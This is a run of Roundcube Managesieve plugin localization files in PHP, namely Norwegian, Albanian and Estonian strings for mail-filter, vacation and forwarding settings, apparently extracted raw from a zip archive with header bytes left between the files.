$labels['notduplicate'] = 'er ikke duplikat';
$labels['duplicate.handle'] = 'handle:';
$labels['duplicate.header'] = 'header:';
$labels['duplicate.uniqueid'] = 'identifikator:';
$labels['duplicate.seconds'] = 'tidsavbrudd (sekunder):';
$labels['duplicate.last'] = 'relativ til siste utførelse';
$messages['filterunknownerror'] = 'Ukjent problem med tjener.';
$messages['filterconnerror'] = 'Kunne ikke koble til tjeneren.';
$messages['filterdeleteerror'] = 'Kunne ikke slette filter. Fikk feilmelding fra server.';
$messages['filterdeleted'] = 'Filteret er blitt slettet.';
$messages['filtersaved'] = 'Filteret er blitt lagret.';
$messages['filtersaveerror'] = 'Kunne ikke lagre filter. Fikk feilmelding fra server.';
$messages['filterformerror'] = 'Filterskjemaet inneholder feil.';
$messages['filterdeleteconfirm'] = 'Vil du virkelig slette det valgte filteret?';
$messages['ruledeleteconfirm'] = 'Er du sikker på at du vil slette valgte regel?';
$messages['actiondeleteconfirm'] = 'Er du sikker på at du vil slette valgte hendelse?';
$messages['forbiddenchars'] = 'Ugyldige tegn i felt.';
$messages['cannotbeempty'] = 'Feltet kan ikke stå tomt.';
$messages['ruleexist'] = 'Det finnes allerede et filter med dette navnet.';
$messages['setactivateerror'] = 'Kunne ikke aktivere valgte filtersett. Fikk feilmelding fra server.';
$messages['setdeactivateerror'] = 'Kunne ikke deaktivere valgte filtersett. Fikk feilmelding fra server.';
$messages['setdeleteerror'] = 'Kunne ikke slette valgte filtersett. Fikk feilmelding fra server.';
$messages['setactivated'] = 'Filtersett aktivert.';
$messages['setdeactivated'] = 'Filtersett deaktivert.';
$messages['setdeleted'] = 'Filtersett slettet.';
$messages['setupdated'] = 'Filtersett oppdatert.';
$messages['setdeleteconfirm'] = 'Er du sikker på at du vil slette de valgte filtersettene?';
$messages['setcreateerror'] = 'Kunne ikke opprette filtersett. Fikk feilmelding fra server.';
$messages['setcreated'] = 'Filtersett opprettet.';
$messages['activateerror'] = 'Kunne ikke aktivere valgte filter(e). Fikk feilmelding fra server.';
$messages['deactivateerror'] = 'Kunne ikke deaktivere valgte filter(e). Fikk feilmelding fra server.';
$messages['deactivated'] = 'Filter deaktivert.';
$messages['activated'] = 'Filter aktivert.';
$messages['moved'] = 'Filter flyttet.';
$messages['moveerror'] = 'Kunne ikke flytte valgte filter. Fikk feilmelding fra server.';
$messages['nametoolong'] = 'Navnet er for langt.';
$messages['namereserved'] = 'Navnet er reservert.';
$messages['setexist'] = 'Settet eksisterer allerede.';
$messages['nodata'] = 'Du må velge minst én posisjon!';
$messages['invaliddateformat'] = 'Ugyldig dato eller datoformat';
$messages['saveerror'] = 'Kunne ikke lagre data. Fikk feilmelding fra server.';
$messages['vacationsaved'] = 'Lagring av fraværsregel vellykket.';
$messages['forwardsaved'] = 'Lagring av videresendingsregel vellykket.';
$messages['emptyvacationbody'] = 'Innhold for fraværsmelding påkrevd!';
$messages['duplicate.conflict.err'] = 'Både hode og unik ID er ikke tillatt.';
$messages['disabledaction'] = 'Handling ikke tillatt.';
$messages['lastindexempty'] = 'Ved telling fra bunnen, er indeks påkrevd';
$messages['noflagset'] = 'Minst ett flagg må være valgt.';
PKh�\I�"��9�9*plugins/managesieve/localization/sq_AL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filtra';
$labels['managefilters'] = 'Administroni filtra për postë ardhëse';
$labels['filtername'] = 'Emër filtri';
$labels['newfilter'] = 'Filtër i ri';
$labels['filteradd'] = 'Shtoni filtër';
$labels['filterdel'] = 'Fshije filtrin';
$labels['rules'] = 'Rregulla';
$labels['actions'] = 'Veprime';
$labels['scope'] = 'Shtrirje';
$labels['moveup'] = 'Lëvize sipër';
$labels['movedown'] = 'Lëvize poshtë';
$labels['filterallof'] = 'që ka përputhje me krejt rregullat vijues';
$labels['filteranyof'] = 'që ka përputhje me cilindo nga rregullat vijues';
$labels['filterany'] = 'krejt mesazhet';
$labels['filtercontains'] = 'përmban';
$labels['filternotcontains'] = 'nuk përmban';
$labels['filteris'] = 'është baras me';
$labels['filterisnot'] = 's’është baras me';
$labels['filterexists'] = 'ekziston';
$labels['filternotexists'] = 's’ekziston';
$labels['filtermatches'] = 'ka përputhje me shprehjen';
$labels['filternotmatches'] = 's’ka përputhje me shprehjen';
$labels['filterregex'] = 'ka përputhje me shprehjen rregullt';
$labels['filternotregex'] = 's’ka përputhje me shprehjen e rregullt';
$labels['filterunder'] = 'nën';
$labels['filterover'] = 'mbi';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'Pjesë MIME:';
$labels['mime-message'] = 'mesazh';
$labels['mime-anychild'] = 'çfarëdo';
$labels['mime-type'] = 'lloj';
$labels['mime-subtype'] = 'nënlloj';
$labels['mime-param'] = 'parametër';
$labels['addrule'] = 'Shtoni rregull';
$labels['delrule'] = 'Fshije rregullin';
$labels['messagemoveto'] = 'Kaloje mesazhin te';
$labels['messageredirect'] = 'Ridrejtoje mesazhin te';
$labels['messagecopyto'] = 'Kopjoje mesazhin te';
$labels['messagesendcopy'] = 'Dërgo kopje mesazhi te';
$labels['messagereply'] = 'Përgjigju me mesazh';
$labels['messagedelete'] = 'Fshije mesazhin';
$labels['messagediscard'] = 'Hidhe tej mesazhin';
$labels['messagekeep'] = 'Mbaje mesazhin te Të marrët';
$labels['messagesrules'] = 'Për postë ardhëse:';
$labels['messagesactions'] = '…përmbush veprimet vijuese:';
$labels['add'] = 'Shtoje';
$labels['del'] = 'Fshije';
$labels['sender'] = 'Dërgues';
$labels['recipient'] = 'Marrës';
$labels['vacationaddr'] = 'Adresat e mia email:';
$labels['vacationdays'] = 'Sa shpesh dërgon mesazhe (në ditë):';
$labels['vacationinterval'] = 'Sa shpesh të dërgohen mesazhet:';
$labels['vacationreason'] = 'Lëndë mesazhi (arsye për pushime):';
$labels['vacationfrom'] = 'Adresë dërguesi për përgjigje:';
$labels['vacationsubject'] = 'Subjekt mesazhi:';
$labels['days'] = 'ditë';
$labels['seconds'] = 'sekonda';
$labels['rulestop'] = 'Ndale mbikëqyrjen e rregullave';
$labels['enable'] = 'Aktivizoje/Çaktivizoje';
$labels['filterset'] = 'Grup filtrash';
$labels['filtersets'] = 'Grupe filtrash';
$labels['filtersetadd'] = 'Shtoni grup filtrash';
$labels['filtersetdel'] = 'Fshije grupin e filtrave';
$labels['filtersetact'] = 'Aktivizo grupin e tanishëm të filtrave';
$labels['filtersetdeact'] = 'Çaktivizo grupin e tanishëm të filtrave';
$labels['filterseteditraw'] = 'Përpunoni grup filtrash';
$labels['filtersetswitch'] = 'Aktivizoni/çaktivizoni grup filtrash';
$labels['filterdef'] = 'Përkufizim filtri';
$labels['filtersetname'] = 'Emër grupi filtrash';
$labels['newfilterset'] = 'Grup i ri filtrash';
$labels['active'] = 'aktiv';
$labels['none'] = 'asnjë';
$labels['fromset'] = 'prej grupi';
$labels['fromfile'] = 'prej kartele';
$labels['filterdisabled'] = 'Filtër i çaktivizuar';
$labels['filterenabled'] = 'Filtri u aktivizua';
$labels['countisgreaterthan'] = 'numri është më i madh se';
$labels['countisgreaterthanequal'] = 'numri është më i madh ose baras me';
$labels['countislessthan'] = 'numri është më i vogël se';
$labels['countislessthanequal'] = 'numri është më i vogël ose baras me';
$labels['countequals'] = 'numri është baras me';
$labels['countnotequals'] = 'numri s’është baras me';
$labels['valueisgreaterthan'] = 'vlera është më e madhe se';
$labels['valueisgreaterthanequal'] = 'vlera është më e madh ose baras me';
$labels['valueislessthan'] = 'vlera është më e vogël se';
$labels['valueislessthanequal'] = 'vlera është më e vogël ose baras me';
$labels['valueequals'] = 'vlera është baras me';
$labels['valuenotequals'] = 'vlera s’është baras me';
$labels['setflags'] = 'Caktoni shenja për mesazhin';
$labels['addflags'] = 'Shtoni shenja te mesazhi';
$labels['removeflags'] = 'Hiqni shenja prej mesazhit';
$labels['flagread'] = 'I lexuar';
$labels['flagdeleted'] = 'I fshirë';
$labels['flaganswered'] = 'Me përgjigje';
$labels['flagflagged'] = 'Me shenjë';
$labels['flagdraft'] = 'Skicë';
$labels['addheader'] = 'Shto krye te mesazhi';
$labels['deleteheader'] = 'Hiq kryet nga mesazhi';
$labels['headername'] = 'Emër kryesh';
$labels['headervalue'] = 'Vlerë kryesh';
$labels['headerpos'] = 'Pozicion kryesh';
$labels['headeratstart'] = 'në fillim';
$labels['headeratend'] = 'në fund';
$labels['headeroccurrence'] = 'Hasje/pozicion kryeje';
$labels['headerfromstart'] = 'nga fillimi';
$labels['headerfromend'] = 'nga fundi';
$labels['headerpatterns'] = 'Rregullsi vlere kryesh';
$labels['headermatchtype'] = 'lloj përputhjeje:';
$labels['setvariable'] = 'Caktoni ndryshore';
$labels['setvarname'] = 'Emër ndryshoreje:';
$labels['setvarvalue'] = 'Vlerë ndryshoreje:';
$labels['setvarmodifiers'] = 'Modifikues:';
$labels['varlower'] = 'me të vogla';
$labels['varupper'] = 'me të mëdha';
$labels['varlowerfirst'] = 'Shenja e parë me të vogla';
$labels['varupperfirst'] = 'shenja e parë me të mëdha';
$labels['varquotewildcard'] = 'shenja speciale citimi';
$labels['varlength'] = 'gjatësi';
$labels['notify'] = 'Dërgo njoftim';
$labels['notifytarget'] = 'Objektiv njoftimi:';
$labels['notifymessage'] = 'Mesazh njoftimi (opsionale):';
$labels['notifyoptions'] = 'Opsione njoftimi (opsionale):';
$labels['notifyfrom'] = 'Dërgues njoftimi (opsionale):';
$labels['notifyimportance'] = 'Rëndësi:';
$labels['notifyimportancelow'] = 'e ulët';
$labels['notifyimportancenormal'] = 'normale';
$labels['notifyimportancehigh'] = 'e lartë';
$labels['notifymethodmailto'] = 'Email';
$labels['notifymethodtel'] = 'Telefon';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Krijoje filtrin';
$labels['usedata'] = 'Përdor të dhënat vijuese te filtri:';
$labels['nextstep'] = 'Hapi Pasues';
$labels['...'] = '…';
$labels['string'] = 'Varg';
$labels['currdate'] = 'Datë e tanishme';
$labels['datetest'] = 'Datë';
$labels['dateheader'] = 'krye:';
$labels['year'] = 'vit';
$labels['month'] = 'muaj';
$labels['day'] = 'ditë';
$labels['date'] = 'datë (yyyy-mm-dd)';
$labels['julian'] = 'datë (sipas kalendarit julian)';
$labels['hour'] = 'orë';
$labels['minute'] = 'minutë';
$labels['second'] = 'sekondë';
$labels['time'] = 'kohë (hh:mm:ss)';
$labels['iso8601'] = 'datë (ISO8601)';
$labels['std11'] = 'datë (RFC2822)';
$labels['zone'] = 'brez orar';
$labels['weekday'] = 'ditë e javës (0-6)';
$labels['advancedopts'] = 'Mundësi të mëtejshme';
$labels['body'] = 'Lëndë';
$labels['address'] = 'adresë';
$labels['envelope'] = 'zarf';
$labels['modifier'] = 'modifikues:';
$labels['text'] = 'tekst';
$labels['undecoded'] = 'i pakoduar (i papërpunuar)';
$labels['contenttype'] = 'lloj lënde';
$labels['modtype'] = 'lloj:';
$labels['allparts'] = 'krejt';
$labels['domain'] = 'përkatësi';
$labels['localpart'] = 'pjesë lokale';
$labels['user'] = 'përdorues';
$labels['detail'] = 'hollësi';
$labels['comparator'] = 'krahasues:';
$labels['default'] = 'parazgjedhje';
$labels['octet'] = 'strikt (tetëshe)';
$labels['asciicasemap'] = 'i pavarur nga shkrimi me të mëdha apo të vogla (ascii-casemap)';
$labels['asciinumeric'] = 'numerike (ascii-numeric)';
$labels['index'] = 'tregues:';
$labels['indexlast'] = 'mbrapsht';
$labels['spamtest'] = 'Shkallë spam-i';
$labels['spamtestisgreaterthan'] = 'është më i madh se';
$labels['spamtestisgreaterthanequal'] = 'është më i madh ose baras me';
$labels['spamtestislessthan'] = 'është më i vogël';
$labels['spamtestislessthanequal'] = 'është më i vogël ose baras me';
$labels['spamtestequals'] = 'është baras me';
$labels['spamtestnotequals'] = 's’është baras me';
$labels['spamtestisunknown'] = 'është i panjohur';
$labels['vacation'] = 'Jashtë zyre';
$labels['vacation.reply'] = 'Mesazh përgjigjeje';
$labels['vacation.advanced'] = 'Rregullime të mëtejshme';
$labels['vacation.from'] = 'Adresë dërguesi për përgjigje';
$labels['vacation.subject'] = 'Subjekt';
$labels['vacation.body'] = 'Lëndë';
$labels['vacation.start'] = 'Kohë fillimi';
$labels['vacation.end'] = 'Kohë përfundimi';
$labels['vacation.status'] = 'Gjendje';
$labels['vacation.on'] = 'On';
$labels['vacation.off'] = 'Off';
$labels['vacation.addresses'] = 'Adresat e mia email';
$labels['vacation.interval'] = 'Interval përgjigjeje';
$labels['vacation.after'] = 'Vendose rregullin "jashtë zyre" pas';
$labels['vacation.saving'] = 'Po ruhen të dhënat…';
$labels['vacation.action'] = 'Veprim për mesazh ardhës';
$labels['vacation.keep'] = 'Mbaje';
$labels['vacation.discard'] = 'Hidhe tej';
$labels['vacation.redirect'] = 'Ridrejtoje te';
$labels['vacation.copy'] = 'Dërgo kopje te';
$labels['forward'] = 'Përcjellje';
$labels['forward.redirect'] = 'Ridrejtoje te';
$labels['forward.copy'] = 'Dërgo kopje te';
$labels['forward.on'] = 'On';
$labels['forward.off'] = 'Off';
$labels['forward.status'] = 'Gjendje:';
$labels['forward.action'] = 'Për postë mesazhe ardhës kryej veprimin vijues:';
$labels['forward.saving'] = 'Po ruhen të dhënat…';
$labels['filladdresses'] = 'Plotësoje me krejt adresat e mia';
$labels['arialabelfiltersetactions'] = 'Veprime grupi filtrash';
$labels['arialabelfilteractions'] = 'Veprime filtri';
$labels['arialabelfilterform'] = 'Veti filtri';
$labels['ariasummaryfilterslist'] = 'Listë filtrash';
$labels['ariasummaryfiltersetslist'] = 'Listë grupe filtrash';
$labels['filterstitle'] = 'Përpunoni filtra për postë ardhëse';
$labels['vacationtitle'] = 'Përpunoni rregullin jashtë-zyre';
$labels['forwardtitle'] = 'Përpunoni rregull përcjellje mesazhesh';
$labels['message'] = 'Mesazh';
$labels['duplicate'] = 'është përsëdytje';
$labels['notduplicate'] = 's’është përsëdytje';
$labels['duplicate.header'] = 'krye:';
$labels['duplicate.uniqueid'] = 'identifikues:';
$labels['duplicate.seconds'] = 'mbarim kohe (sekonda):';
$labels['duplicate.last'] = 'relative ndaj përmbushjes së fundit';
$messages['filterunknownerror'] = 'Gabim i panjohur shërbyesi.';
$messages['filterconnerror'] = 'S’arrihet të lidhet me shërbyesin.';
$messages['filterdeleteerror'] = 'S’arrihet të fshihet filtri. Ndodhi gabim shërbyesi.';
$messages['filterdeleted'] = 'Grupi u fshi me sukses.';
$messages['filtersaved'] = 'Filtri u ruajt me sukses.';
$messages['filtersaveerror'] = 'S’arrihet të ruhet filtri. Ndodhi një gabim shërbyesi.';
$messages['filterformerror'] = 'Formulari i filtrit përmban gabime.';
$messages['filterdeleteconfirm'] = 'Doni vërtet të fshihet filtri i përzgjedhur?';
$messages['ruledeleteconfirm'] = 'Jeni i sigurt se doni të fshihet rregulli i përzgjedhur?';
$messages['actiondeleteconfirm'] = 'Jeni i sigurt se doni të fshihet veprimi i përzgjedhur?';
$messages['forbiddenchars'] = 'Shenja të ndaluara te fusha.';
$messages['cannotbeempty'] = 'Fusha s’mund të jetë e zbrazët.';
$messages['ruleexist'] = 'Ka tashmë një filtër me emrin e treguar.';
$messages['setactivateerror'] = 'S’arrihet të aktivizohet grupi i përzgjedhur i filtrave. Ndodhi një gabim shërbyesi.';
$messages['setdeactivateerror'] = 'S’arrihet të çaktivizohet grupi i përzgjedhur i filtrave. Ndodhi një gabim shërbyesi.';
$messages['setdeleteerror'] = 'S’arrihet të fshihet grupi i përzgjedhur i filtrave. Ndodhi një gabim shërbyesi.';
$messages['setactivated'] = 'Grupi i filtrave u aktivizua me sukses.';
$messages['setdeactivated'] = 'Grupi i filtrave u çaktivizua me sukses.';
$messages['setdeleted'] = 'Grupi i filtrave u fshi me sukses.';
$messages['setupdated'] = 'Grupi i filtrave u përditësua me sukses.';
$messages['setdeleteconfirm'] = 'Jeni i sigurt se doni të fshihet grupi i përzgjedhur i filtrave?';
$messages['setcreateerror'] = 'S’arrihet të krijohet grup filtrash. Ndodhi gabim shërbyesi.';
$messages['setcreated'] = 'Grupi i filtrave u krijua me sukses.';
$messages['activateerror'] = 'S’arrihet të aktivizohet filtri(at) e përzgjedhur. Ndodhi një gabim shërbyesi.';
$messages['deactivateerror'] = 'S’arrihet të çaktivizohet filtri(at) e përzgjedhur. Ndodhi një gabim shërbyesi.';
$messages['deactivated'] = 'Filtri(at) u çaktivizua me sukses.';
$messages['activated'] = 'Filtri(at) u aktivizua me sukses.';
$messages['moved'] = 'Filtri u lëviz me sukses.';
$messages['moveerror'] = 'S’arrihet të lëvizet filtri i përzgjedhur. Ndodhi një gabim shërbyesi.';
$messages['nametoolong'] = 'Emër shumë i gjatë.';
$messages['namereserved'] = 'Emër i rezervuar.';
$messages['setexist'] = 'Ka tashmë një grup të tillë.';
$messages['nodata'] = 'Duhet përzgjedhur të paktën një pozicion!';
$messages['invaliddateformat'] = 'Format i pavlefshëm date ose pjese date';
$messages['saveerror'] = 'S’arrihet të ruhen të dhëna. Ndodhi një gabim shërbyesi.';
$messages['vacationsaved'] = 'Të dhënat "jashtë zyre" u ruajtën me sukses.';
$messages['forwardsaved'] = 'Të dhënat e përcjelljes u ruajtën me sukses.';
$messages['emptyvacationbody'] = 'Lënda e mesazhit të pushimeve është e domosdoshme!';
$messages['duplicate.conflict.err'] = 'S’lejohet përdorimi i njëkohshëm i kryes dhe identifikuesit unik.';
$messages['disabledaction'] = 'Veprim jo i lejuar.';
$messages['lastindexempty'] = 'Treguesi është i domosdoshëm kur numërohet nga fundi';
$messages['noflagset'] = 'Duhet përzgjedhur të paktën një shenjë';
PKh�\~%��5�5*plugins/managesieve/localization/et_EE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filtrid';
$labels['managefilters'] = 'Halda sisenevate kirjade filtreid';
$labels['filtername'] = 'Filtri nimi';
$labels['newfilter'] = 'Uus filter';
$labels['filteradd'] = 'Lisa filter';
$labels['filterdel'] = 'Kustuta filter';
$labels['rules'] = 'Reeglid';
$labels['actions'] = 'Tegevused';
$labels['scope'] = 'Skoop';
$labels['moveup'] = 'Liiguta üles';
$labels['movedown'] = 'Liiguta alla';
$labels['filterallof'] = 'vastab kõikidele järgnevatele reeglitele';
$labels['filteranyof'] = 'vastab mõnele järgnevatest reeglitest';
$labels['filterany'] = 'kõik kirjad';
$labels['filtercontains'] = 'sisaldab';
$labels['filternotcontains'] = 'ei sisalda';
$labels['filteris'] = 'on võrdne kui';
$labels['filterisnot'] = 'ei ole võrdne kui';
$labels['filterexists'] = 'on olemas';
$labels['filternotexists'] = 'pole olemas';
$labels['filtermatches'] = 'vastab avaldisele';
$labels['filternotmatches'] = 'ei vasta avaldisele';
$labels['filterregex'] = 'vastab regulaaravaldisele';
$labels['filternotregex'] = 'ei vasta regulaaravaldisele';
$labels['filterunder'] = 'alt';
$labels['filterover'] = 'üle';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'MIME osa:';
$labels['mime-message'] = 'sõnum';
$labels['mime-anychild'] = 'mistahes';
$labels['mime-type'] = 'tüüp';
$labels['mime-subtype'] = 'alamtüüp';
$labels['mime-contenttype'] = 'sisu tüüp';
$labels['mime-param'] = 'parameeter';
$labels['addrule'] = 'Lisa reegel';
$labels['delrule'] = 'Kustuta reegel';
$labels['messagemoveto'] = 'Liiguta kiri';
$labels['messageredirect'] = 'Suuna kiri ümber';
$labels['messagecopyto'] = 'Kopeeri kiri';
$labels['messagesendcopy'] = 'Saada kirja koopia';
$labels['messagereply'] = 'Vasta kirjaga';
$labels['messagedelete'] = 'Kustuta kiri';
$labels['messagediscard'] = 'Viska ära teatega';
$labels['messagekeep'] = 'Hoia kirjad sisendkaustas';
$labels['messagesrules'] = 'Siseneva kirja puhul, mis:';
$labels['messagesactions'] = '...käivita järgnevad tegevused:';
$labels['add'] = 'Lisa';
$labels['del'] = 'Kustuta';
$labels['sender'] = 'Saatja';
$labels['recipient'] = 'Saaja';
$labels['vacationaddr'] = 'Minu e-posti aadressid:';
$labels['vacationdays'] = 'Kui tihti kirju saata (päevades):';
$labels['vacationinterval'] = 'Kui tihti kirju saata:';
$labels['vacationreason'] = 'Kirja sisu (puhkuse põhjus):';
$labels['vacationfrom'] = 'Vastuse saatja aadress:';
$labels['vacationsubject'] = 'Kirja teema:';
$labels['days'] = 'päeva';
$labels['seconds'] = 'sekundit';
$labels['rulestop'] = 'Peata reeglite otsimine';
$labels['enable'] = 'Luba/keela';
$labels['filterset'] = 'Filtri kogum';
$labels['filtersets'] = 'Filtri kogum';
$labels['filtersetadd'] = 'Lisa filtrite kogum';
$labels['filtersetdel'] = 'Kustuta filtrite kogum';
$labels['filtersetact'] = 'Aktiveeri see filtrite kogum';
$labels['filtersetdeact'] = 'Deaktiveeri see filtrite kogum';
$labels['filterseteditraw'] = 'Muuda filtrite kogumit';
$labels['filtersetswitch'] = 'Luba/keela filtrite kogum';
$labels['filterdef'] = 'Filtri definitsioon';
$labels['filtersetname'] = 'Filtrite kogumi nimi';
$labels['newfilterset'] = 'Uus filtrite kogum';
$labels['active'] = 'aktiivne';
$labels['none'] = 'puudub';
$labels['fromset'] = 'kogumist';
$labels['fromfile'] = 'failist';
$labels['filterdisabled'] = 'Filter keelatud';
$labels['filterenabled'] = 'Filter lubatud';
$labels['countisgreaterthan'] = 'koguarv on suurem kui';
$labels['countisgreaterthanequal'] = 'koguarv on suurem kui või võrdne';
$labels['countislessthan'] = 'koguarv on väiksem';
$labels['countislessthanequal'] = 'koguarv on väiksem kui või võrdne';
$labels['countequals'] = 'koguarv on võrdne';
$labels['countnotequals'] = 'summa ei ole võrdne';
$labels['valueisgreaterthan'] = 'väärtus on suurem kui';
$labels['valueisgreaterthanequal'] = 'väärtus on suurem kui või võrdne';
$labels['valueislessthan'] = 'väärtus on väiksem kui';
$labels['valueislessthanequal'] = 'väärtus on väiksem kui või võrdne';
$labels['valueequals'] = 'väärtus on võrdne';
$labels['valuenotequals'] = 'väärtus ei ole võrdne';
$labels['setflags'] = 'Sea kirjale lipik';
$labels['addflags'] = 'Lisa kirjale lipikuid';
$labels['removeflags'] = 'Eemalda kirjalt lipikud';
$labels['flagread'] = 'Loetud';
$labels['flagdeleted'] = 'Kustutatud';
$labels['flaganswered'] = 'Vastatud';
$labels['flagflagged'] = 'Märgistatud';
$labels['flagdraft'] = 'Mustand';
$labels['addheader'] = 'Lisa kirjale päis';
$labels['deleteheader'] = 'Eemalda kirjast päis';
$labels['headername'] = 'Päise nimi';
$labels['headervalue'] = 'Päise väärtus';
$labels['headerpos'] = 'Päise positsioon';
$labels['headeratstart'] = 'alguses';
$labels['headeratend'] = 'lõpus';
$labels['headeroccurrence'] = 'Päise positsioon';
$labels['headerfromstart'] = 'algusest';
$labels['headerfromend'] = 'lõpust';
$labels['headerpatterns'] = 'Päise väärtuse mustrid';
$labels['headermatchtype'] = 'vastavuse tüüp:';
$labels['setvariable'] = 'Määra muutuja';
$labels['setvarname'] = 'Muutuja nimi:';
$labels['setvarvalue'] = 'Muutuja väärtus:';
$labels['setvarmodifiers'] = 'Muutjad:';
$labels['varlower'] = 'väiketähed';
$labels['varupper'] = 'suurtähed';
$labels['varlowerfirst'] = 'esimene märk on väiketäht';
$labels['varupperfirst'] = 'esimene märk on suurtäht';
$labels['varquotewildcard'] = 'tsiteeri erimärke';
$labels['varlength'] = 'pikkus';
$labels['notify'] = 'Saada teavitus';
$labels['notifytarget'] = 'Teavituse sihtmärk:';
$labels['notifymessage'] = 'Teavituse sõnum (valikuline):';
$labels['notifyoptions'] = 'Teavituse valikud (valikuline):';
$labels['notifyfrom'] = 'Teavituse saatja (valikuline):';
$labels['notifyimportance'] = 'Tähtsus:';
$labels['notifyimportancelow'] = 'madal';
$labels['notifyimportancenormal'] = 'tavaline';
$labels['notifyimportancehigh'] = 'kõrge';
$labels['notifymethodmailto'] = 'E-post';
$labels['notifymethodtel'] = 'Telefon';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Loo filter';
$labels['usedata'] = 'Kasuta filtris järgmisi andmeid:';
$labels['nextstep'] = 'Järgmine samm';
$labels['...'] = '…';
$labels['string'] = 'Tekst';
$labels['currdate'] = 'Praegune kuupäev';
$labels['datetest'] = 'Kuupäev';
$labels['dateheader'] = 'päis:';
$labels['year'] = 'aasta';
$labels['month'] = 'kuu';
$labels['day'] = 'päev';
$labels['date'] = 'kuupäev (aaaa-kk-pp)';
$labels['julian'] = 'kuupäev (Juliuse)';
$labels['hour'] = 'tund';
$labels['minute'] = 'minut';
$labels['second'] = 'sekund';
$labels['time'] = 'aeg (tt:mm:ss)';
$labels['iso8601'] = 'kuupäev (ISO8601)';
$labels['std11'] = 'kuupäev (RCF2822)';
$labels['zone'] = 'ajatsoon';
$labels['weekday'] = 'nädalapäev (0-6)';
$labels['advancedopts'] = 'Lisaseadistused';
$labels['body'] = 'Põhitekst';
$labels['address'] = 'aadress';
$labels['envelope'] = 'ümbrik';
$labels['modifier'] = 'muutja:';
$labels['text'] = 'tekst';
$labels['undecoded'] = 'kodeerimata (toor)';
$labels['contenttype'] = 'sisu tüüp';
$labels['modtype'] = 'tüüp:';
$labels['allparts'] = 'kõik';
$labels['domain'] = 'domeen';
$labels['localpart'] = 'kohalik osa';
$labels['user'] = 'kasutaja';
$labels['detail'] = 'detail';
$labels['comparator'] = 'võrdleja:';
$labels['default'] = 'vaikimisi';
$labels['octet'] = 'range (octet)';
$labels['asciicasemap'] = 'tõstutundetu (ascii-casemap)';
$labels['asciinumeric'] = 'numbriline (ascii-numeric)';
$labels['index'] = 'indeks:';
$labels['indexlast'] = 'tagasisuunas';
$labels['spamtest'] = 'Spämmi tase';
$labels['spamtestisgreaterthan'] = 'on suurem kui';
$labels['spamtestisgreaterthanequal'] = 'on võrdne või suurem kui';
$labels['spamtestislessthan'] = 'on väiksem kui';
$labels['spamtestislessthanequal'] = 'on võrdne või väiksem kui';
$labels['spamtestequals'] = 'on võrdne kui';
$labels['spamtestnotequals'] = 'ei ole võrdne kui';
$labels['spamtestisunknown'] = 'on tundmatu';
$labels['vacation'] = 'Kontorist väljas';
$labels['vacation.reply'] = 'Vasta sõnumiga';
$labels['vacation.advanced'] = 'Lisaseaded';
$labels['vacation.from'] = 'Vastuse saatja aadress';
$labels['vacation.subject'] = 'Pealkiri';
$labels['vacation.body'] = 'Keha';
$labels['vacation.start'] = 'Alguse aeg';
$labels['vacation.end'] = 'Lõpu aeg';
$labels['vacation.status'] = 'Staatus';
$labels['vacation.on'] = 'Sees';
$labels['vacation.off'] = 'Väljas';
$labels['vacation.addresses'] = 'Minu e-maili aadress';
$labels['vacation.interval'] = 'Vastuse sagedus';
$labels['vacation.after'] = 'Pane kontorist väljas reeglel peale';
$labels['vacation.saving'] = 'Salvestan andmeid...';
$labels['vacation.action'] = 'Saabuva kirja tegevus';
$labels['vacation.keep'] = 'Säilita';
$labels['vacation.discard'] = 'Loobu';
$labels['vacation.redirect'] = 'Suuna';
$labels['vacation.copy'] = 'Saada koopia';
$labels['forward'] = 'Edastamine';
$labels['forward.redirect'] = 'Suuna';
$labels['forward.copy'] = 'Saada koopia';
$labels['forward.on'] = 'Sees';
$labels['forward.off'] = 'Väljas';
$labels['forward.status'] = 'Staatus:';
$labels['forward.action'] = 'Sisenevatele kirjadele käivita järgmine tegevus:';
$labels['forward.saving'] = 'Salvestan andmeid...';
$labels['filladdresses'] = 'Täida minu aadressidega';
$labels['arialabelfiltersetactions'] = 'Filtrikogumi tegevused';
$labels['arialabelfilteractions'] = 'Filtri tegevused';
$labels['arialabelfilterform'] = 'Filtri omadused';
$labels['ariasummaryfilterslist'] = 'Filtrite nimekiri';
$labels['ariasummaryfiltersetslist'] = 'Filtrikogumite nimekiri';
$labels['filterstitle'] = 'Muuda sisenevate kirjade filtreid';
$labels['vacationtitle'] = 'Muuda kontorist väljas reeglit';
$labels['forwardtitle'] = 'Muuda kirja edastamise reeglit';
$labels['message'] = 'Kiri';
$labels['duplicate'] = 'on duplikaat';
$labels['notduplicate'] = 'ei ole duplikaat';
$labels['duplicate.handle'] = 'käsitlus:';
$labels['duplicate.header'] = 'päis:';
$labels['duplicate.uniqueid'] = 'tuvastaja:';
$labels['duplicate.seconds'] = 'aegumine (sekundit):';
$labels['duplicate.last'] = 'suhteline viimasest käivitusest';
$messages['filterunknownerror'] = 'Tundmatu serveri tõrge';
$messages['filterconnerror'] = 'Managesieve serveriga ühendumine nurjus';
$messages['filterdeleteerror'] = 'Ei saa filtrit kustutada. Ilmnes serveri viga.';
$messages['filterdeleted'] = 'Filter edukalt kustutatud';
$messages['filtersaved'] = 'Filter edukalt salvestatud';
$messages['filtersaveerror'] = 'Ei saa filtrit salvestada. Ilmnes serveri viga.';
$messages['filterformerror'] = 'Filtri vormis on vead.';
$messages['filterdeleteconfirm'] = 'Soovid valitud filtri kustutada?';
